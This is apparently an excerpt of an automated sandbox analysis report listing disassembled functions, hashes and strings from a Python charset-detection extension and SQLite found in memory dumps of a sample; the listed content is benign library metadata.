String ID: 'TooManySymbolOrPunctuationPlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'TooManySymbolOrPunctuationPlugin' undefined$int
API String ID: 1450464846-4240200891
Opcode ID: 536accf797a1bbe65dc8a4d75f5ab69cf8332c7d165fc34bcb50e14afcb09dcc
Instruction ID: 21c6d4c0a43952854b3e4df79352773cce43b15d60cf3433fae00060b8d8e5e8
Opcode Fuzzy Hash: 536accf797a1bbe65dc8a4d75f5ab69cf8332c7d165fc34bcb50e14afcb09dcc
Instruction Fuzzy Hash: 2231A071F08742C2EA589BA5E49537D23A0EF44BE4F584131DA3D47795EE2CE484E702

Function 00007FF8E7145730 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7145752

Strings

int, xrefs: 00007FF8E7145846
attribute '_character_count' of 'TooManyAccentuatedPlugin' undefined, xrefs: 00007FF8E7145748
'TooManyAccentuatedPlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FF8E71457BC

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'TooManyAccentuatedPlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'TooManyAccentuatedPlugin' undefined$int
API String ID: 1450464846-2022335554
Opcode ID: cef47ad94a8524b23c3b55ca13b9a14f862f4f76f789291d3bde506f314e6f26
Instruction ID: 29a94bffbe6d50b691ab6f0936c7025603f82a35fd2a44b692b9935e738e42a9
Opcode Fuzzy Hash: cef47ad94a8524b23c3b55ca13b9a14f862f4f76f789291d3bde506f314e6f26
Instruction Fuzzy Hash: F1316D21F08746C1EA489BA5E49537C23A0BF84BD4F984131DA2E46795EE2CE484A702

Function 00007FF8E7148330 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7148352

Strings

'ArchaicUpperLowerPlugin' object attribute '_character_count_since_last_sep' cannot be deleted, xrefs: 00007FF8E71483BC
attribute '_character_count_since_last_sep' of 'ArchaicUpperLowerPlugin' undefined, xrefs: 00007FF8E7148348
int, xrefs: 00007FF8E7148446

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'ArchaicUpperLowerPlugin' object attribute '_character_count_since_last_sep' cannot be deleted$attribute '_character_count_since_last_sep' of 'ArchaicUpperLowerPlugin' undefined$int
API String ID: 1450464846-2037488444
Opcode ID: 1006a038ca7837f55bf567080db1d952f620b641b4547de6e2a8b337716dbb5f
Instruction ID: e1c204483fea1773f8c3de752d91c6da86519b8de7ffab7e138b20f130c162d8
Opcode Fuzzy Hash: 1006a038ca7837f55bf567080db1d952f620b641b4547de6e2a8b337716dbb5f
Instruction Fuzzy Hash: 0F316D71B08742C5EB589BA9E49537D23A0BF44BD4F584131DA6D477E5EE2CE4848702

Function 00007FF8E7147500 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7147522

Strings

attribute '_character_count' of 'SuperWeirdWordPlugin' undefined, xrefs: 00007FF8E7147518
'SuperWeirdWordPlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FF8E714758C
int, xrefs: 00007FF8E7147616

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'SuperWeirdWordPlugin' undefined$int
API String ID: 1450464846-3920090044
Opcode ID: cd35c19dcae03a46ba023d8733dc0448e3e938908ebc375541851ad2aa41712c
Instruction ID: c19c332d42635c54dd85b843d2c905602222e5cd2d48ca94e56e53fa91822eee
Opcode Fuzzy Hash: cd35c19dcae03a46ba023d8733dc0448e3e938908ebc375541851ad2aa41712c
Instruction Fuzzy Hash: 84318171F08742C5EA589BA9E4953BC23A1EF44BD4F585131EA3E4B7D5EE2CE484C702

Function 00007FF8E7147160 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7147182

Strings

'SuperWeirdWordPlugin' object attribute '_bad_word_count' cannot be deleted, xrefs: 00007FF8E71471EC
int, xrefs: 00007FF8E7147276
attribute '_bad_word_count' of 'SuperWeirdWordPlugin' undefined, xrefs: 00007FF8E7147178

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_bad_word_count' cannot be deleted$attribute '_bad_word_count' of 'SuperWeirdWordPlugin' undefined$int
API String ID: 1450464846-3520798986
Opcode ID: 77c8772b984a2595aac65ff4e3f8c76f4f621aa382ae6883f4a9f238d60c89b9
Instruction ID: 6bc03458b93f5b4bffe1b91627472b77e1a4700bc45c3f5c3878a9f79ade9e00
Opcode Fuzzy Hash: 77c8772b984a2595aac65ff4e3f8c76f4f621aa382ae6883f4a9f238d60c89b9
Instruction Fuzzy Hash: 81319E61F08742C1EA589BA5E49537C23A1EF84BD4F584131EA7E467E5EE2CE4848702

Function 00007FF8E7148B60 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7148B82

Strings

'ArabicIsolatedFormPlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FF8E7148BEC
attribute '_character_count' of 'ArabicIsolatedFormPlugin' undefined, xrefs: 00007FF8E7148B78
int, xrefs: 00007FF8E7148C76

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'ArabicIsolatedFormPlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'ArabicIsolatedFormPlugin' undefined$int
API String ID: 1450464846-3970786323
Opcode ID: 2e629f3262497ccb22304782c1099c2c36976ab49dc67f606c1b062756317bff
Instruction ID: f1ec9330f4398fa8a93fb689c119e0a1868775385ddf63c6185b5fb7289eca11
Opcode Fuzzy Hash: 2e629f3262497ccb22304782c1099c2c36976ab49dc67f606c1b062756317bff
Instruction Fuzzy Hash: 49318B71F18742C5EF589BA9E8953BC23A0AF44BD4F584131DA2E467D4EE2CE4848702

Function 00007FF8E7147B40 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7147B62

Strings

'CjkInvalidStopPlugin' object attribute '_wrong_stop_count' cannot be deleted, xrefs: 00007FF8E7147BCC
attribute '_wrong_stop_count' of 'CjkInvalidStopPlugin' undefined, xrefs: 00007FF8E7147B58
int, xrefs: 00007FF8E7147C56

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'CjkInvalidStopPlugin' object attribute '_wrong_stop_count' cannot be deleted$attribute '_wrong_stop_count' of 'CjkInvalidStopPlugin' undefined$int
API String ID: 1450464846-420147485
Opcode ID: d003440fe6475c9f59ed82b76a527c73c740b1cb598ce72131a3b28642e6cd38
Instruction ID: 0ec64b9c71617785f7f874c43f79ee46bc20856df9ddc5022d39ce67f0efc838
Opcode Fuzzy Hash: d003440fe6475c9f59ed82b76a527c73c740b1cb598ce72131a3b28642e6cd38
Instruction Fuzzy Hash: 7B31A031F08742C1EE589BA5E4953BC23A0EF54BE4F585131DA3E467D4EE2CE584C702

Function 00007FF8E7145B50 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7145B72

Strings

int, xrefs: 00007FF8E7145C66
attribute '_unprintable_count' of 'UnprintablePlugin' undefined, xrefs: 00007FF8E7145B68
'UnprintablePlugin' object attribute '_unprintable_count' cannot be deleted, xrefs: 00007FF8E7145BDC

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'UnprintablePlugin' object attribute '_unprintable_count' cannot be deleted$attribute '_unprintable_count' of 'UnprintablePlugin' undefined$int
API String ID: 1450464846-2997357838
Opcode ID: 05d8df805b557c735720644633408e4608b0fbfc31e106f8cc358c40349ee830
Instruction ID: 0a5becd8bbacfc4db46eec6cb0da30b396bc9cd5b9c79b4763029a7332206f3c
Opcode Fuzzy Hash: 05d8df805b557c735720644633408e4608b0fbfc31e106f8cc358c40349ee830
Instruction Fuzzy Hash: AF31BC31B18742C1EE589BA9E4953BC23A1AF44BD4F584131DA3E477E4EE2CE484E702

Function 00007FF8E714DED0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 95COMMON

Download Yara Rule

APIs

PySet_Contains.PYTHON312 ref: 00007FF8E714DEEC
PyObject_Vectorcall.PYTHON312 ref: 00007FF8E714DF38
_Py_Dealloc.PYTHON312 ref: 00007FF8E714DF4F
_Py_Dealloc.PYTHON312 ref: 00007FF8E714DF94

Part of subcall function 00007FF8E7142920: PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E7142961
Part of subcall function 00007FF8E7142920: PyNumber_Add.PYTHON312 ref: 00007FF8E71429B7
Part of subcall function 00007FF8E7142920: _Py_Dealloc.PYTHON312 ref: 00007FF8E71429D7
Part of subcall function 00007FF8E7142920: _Py_Dealloc.PYTHON312 ref: 00007FF8E71429EB

Part of subcall function 00007FF8E7142920: PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E714299F
Part of subcall function 00007FF8E7142920: _Py_Dealloc.PYTHON312 ref: 00007FF8E7142A2D

Strings

feed, xrefs: 00007FF8E714DFAD
bool, xrefs: 00007FF8E714DF6A

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$FromLong_Ssize_t$ContainsNumber_Object_Set_Vectorcall
String ID: bool$feed
API String ID: 3415927029-2849697477
Opcode ID: eb45302e3cef5080e95074768180575d99dfa37b4141d0cc9422c2bb42ee7491
Instruction ID: 2569ce882e6e8a313b74d47b100ccd9d9084af0bd3c8a69a364b3016b41b24c7
Opcode Fuzzy Hash: eb45302e3cef5080e95074768180575d99dfa37b4141d0cc9422c2bb42ee7491
Instruction Fuzzy Hash: C3412E31E1CB42C2EB649F92E8553BE63A1EF44BC4F485035DBAD4775AEE2CE4818712

Function 00007FF8E7146CF0 Relevance: 10.6, APIs: 7, Instructions: 82COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FF8E7146D1C
_Py_Dealloc.PYTHON312 ref: 00007FF8E7146D45
_Py_Dealloc.PYTHON312 ref: 00007FF8E7146D6E
_Py_Dealloc.PYTHON312 ref: 00007FF8E7146D97
_Py_Dealloc.PYTHON312 ref: 00007FF8E7146DC0
_Py_Dealloc.PYTHON312 ref: 00007FF8E7146DE2
_Py_Dealloc.PYTHON312 ref: 00007FF8E7146E0B

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc
String ID:
API String ID: 3617616757-0
Opcode ID: 527074c6cd195ab482c56603e858959c90a590d2c84401fac90cb2060dcc2367
Instruction ID: c5d4dfca2c473ebd2701405db3cb5b421e0f729561bb3e43215f6750882c3dbd
Opcode Fuzzy Hash: 527074c6cd195ab482c56603e858959c90a590d2c84401fac90cb2060dcc2367
Instruction Fuzzy Hash: FF41B432909B41C1EB698FB8D8483AC26B0AF55BFDF140334CABA411D9DF7EE4958302

Function 00007FF8E7145630 Relevance: 10.6, APIs: 7, Instructions: 51threadCOMMON

Download Yara Rule

APIs

PyObject_GC_UnTrack.PYTHON312 ref: 00007FF8E714563D
_PyTrash_cond.PYTHON312 ref: 00007FF8E714564F
_PyThreadState_UncheckedGet.PYTHON312 ref: 00007FF8E7145659
_PyTrash_begin.PYTHON312 ref: 00007FF8E7145668
_Py_Dealloc.PYTHON312 ref: 00007FF8E7145695
_Py_Dealloc.PYTHON312 ref: 00007FF8E71456BE
_PyTrash_end.PYTHON312 ref: 00007FF8E71456D9

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$Object_State_ThreadTrackTrash_beginTrash_condTrash_endUnchecked
String ID:
API String ID: 2819143443-0
Opcode ID: 1c16e7615a0f82207d80faaa12bf775c49de3bd6999ef687b31fc543c5e7b3c6
Instruction ID: dc008311479bb4065938b10aacec258eedf6449698068ecd6a8641839c9fa22a
Opcode Fuzzy Hash: 1c16e7615a0f82207d80faaa12bf775c49de3bd6999ef687b31fc543c5e7b3c6
Instruction Fuzzy Hash: 1D214F31E08B42D1EB198FA5E54837C22A1AF54FE9F144234C93E462E4EF7CE4859342

Function 00007FF8E6914DB0 Relevance: 9.3, APIs: 3, Strings: 3, Instructions: 330COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8E6914EFB
memcpy.VCRUNTIME140 ref: 00007FF8E6914F47
memcpy.VCRUNTIME140 ref: 00007FF8E69151BC

Strings

unknown column "%s" in foreign key definition, xrefs: 00007FF8E691514C
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 00007FF8E6914E5E
foreign key on %s should reference only one column of table %T, xrefs: 00007FF8E6914E35

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 438689982-272990098
Opcode ID: 26a60f2d29f2a27fc32945a5499dcfcea72275a31f881582fff33eec9206aef0
Instruction ID: 660d4b6eb267ba4b84c959dfb9bcae1d9c7d2d0f917b95b90101a9004440e7c1
Opcode Fuzzy Hash: 26a60f2d29f2a27fc32945a5499dcfcea72275a31f881582fff33eec9206aef0
Instruction Fuzzy Hash: 99D122A2B28B8682EB61EF9590487B937A1FB45BC4F6A4131DE5D03786DF3CE441C702

Function 00007FF8E68B49E0 Relevance: 9.3, APIs: 2, Strings: 4, Instructions: 329COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E68B4B95

Strings

abort due to ROLLBACK, xrefs: 00007FF8E68B5072
another row available, xrefs: 00007FF8E68B5084
no more rows available, xrefs: 00007FF8E68B507B
unknown error, xrefs: 00007FF8E68B5042

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: abort due to ROLLBACK$another row available$no more rows available$unknown error
API String ID: 3510742995-3044471405
Opcode ID: e0751fcfef235c84794730e554eb4966c5351462047d42e6373d045085788445
Instruction ID: 962d72c27edafbb7894d6f181ef5065e5155d1128a157d08e62c66a78b78bf0e
Opcode Fuzzy Hash: e0751fcfef235c84794730e554eb4966c5351462047d42e6373d045085788445
Instruction Fuzzy Hash: 10F1B429B2DAAA81EBA49F94E4503BD67A0FF45BC8F1C4136DA4D03696CF3DE4458703

Function 00007FF8E68D49C0 Relevance: 9.3, APIs: 3, Strings: 3, Instructions: 260COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8E68D4B6E
memcpy.VCRUNTIME140 ref: 00007FF8E68D4CA6
memcpy.VCRUNTIME140 ref: 00007FF8E68D4CC0

Strings

database corruption, xrefs: 00007FF8E68D4A11
%s at line %d of [%.10s], xrefs: 00007FF8E68D4A1D
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68D4A05

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy$memset
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$database corruption
API String ID: 438689982-3418467682
Opcode ID: 3a72f6d314c914102456c34c9c024b260731ec6175f70502df3334ac74e68f32
Instruction ID: ea94944767b0118e300f01e11bea081f949c4f7cad33a7097488a07333be5c04
Opcode Fuzzy Hash: 3a72f6d314c914102456c34c9c024b260731ec6175f70502df3334ac74e68f32
Instruction Fuzzy Hash: 9EB1AE32B286A686D760DBA6A084B6E77A8FB84BC4F115135DE4D87F85DF3CD4408712

Function 00007FF8E69064D0 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 215COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8E6906694
memcpy.VCRUNTIME140 ref: 00007FF8E69066DE
memcpy.VCRUNTIME140 ref: 00007FF8E6906749

Strings

Cannot add a column to a view, xrefs: 00007FF8E6906584
virtual tables may not be altered, xrefs: 00007FF8E6906568
sqlite_altertab_%s, xrefs: 00007FF8E690669D

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy$memset
String ID: Cannot add a column to a view$sqlite_altertab_%s$virtual tables may not be altered
API String ID: 438689982-2063813899
Opcode ID: 07cb2e7851a56338389ab05e0a161e4c4c89749a912260004fa4f3a15ea2c57c
Instruction ID: 53dd48562fb834a732f5d0be030b68a28e2654bd2fc23c02e09d0477299d6ccc
Opcode Fuzzy Hash: 07cb2e7851a56338389ab05e0a161e4c4c89749a912260004fa4f3a15ea2c57c
Instruction Fuzzy Hash: 1E91E176A19B8182EB90DF9590183B977A5FB8ABC0F499235DE8D47785EF3CE051C301

Function 00007FF8E68D8570 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 214COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8E68D862B
memmove.VCRUNTIME140 ref: 00007FF8E68D86BD
memmove.VCRUNTIME140 ref: 00007FF8E68D873C

Strings

database corruption, xrefs: 00007FF8E68D85F4
%s at line %d of [%.10s], xrefs: 00007FF8E68D8600
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68D85E7

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memmove
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$database corruption
API String ID: 2162964266-3418467682
Opcode ID: 3a1c7061edd7996e4425f991c66e1209c2bf16ed6d35ea79bfa88dcdde2eb030
Instruction ID: 243a71338804dfaa042d21019b1f5b3f825b8d7cacc45a30c1511691a1791149
Opcode Fuzzy Hash: 3a1c7061edd7996e4425f991c66e1209c2bf16ed6d35ea79bfa88dcdde2eb030
Instruction Fuzzy Hash: 7191FEA3B2869186CB209B65E8843AEBBA4FB85BD4F444132DF8D43B45DF3CD155C711

Function 00007FF8E68D7930 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 212COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E68D7AEC
memmove.VCRUNTIME140 ref: 00007FF8E68D7B24
memcpy.VCRUNTIME140 ref: 00007FF8E68D7BF1

Strings

database corruption, xrefs: 00007FF8E68D79DF
%s at line %d of [%.10s], xrefs: 00007FF8E68D79E6
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68D79CC

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy$memmove
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$database corruption
API String ID: 1283327689-3418467682
Opcode ID: d0cd61a46a282bf0fb2f550d918a6c009968a3ecbaac8df5d982ee1dfde62edb
Instruction ID: c66ec34ec57193f1eb2a329acd9e63372b8fa082dbe3050a4e2bb040a0c27421
Opcode Fuzzy Hash: d0cd61a46a282bf0fb2f550d918a6c009968a3ecbaac8df5d982ee1dfde62edb
Instruction Fuzzy Hash: 6991E262B186E19AD720CB65D5803BD7BE4FB40B84F048536DB8D87A85DF3CE9A1C721

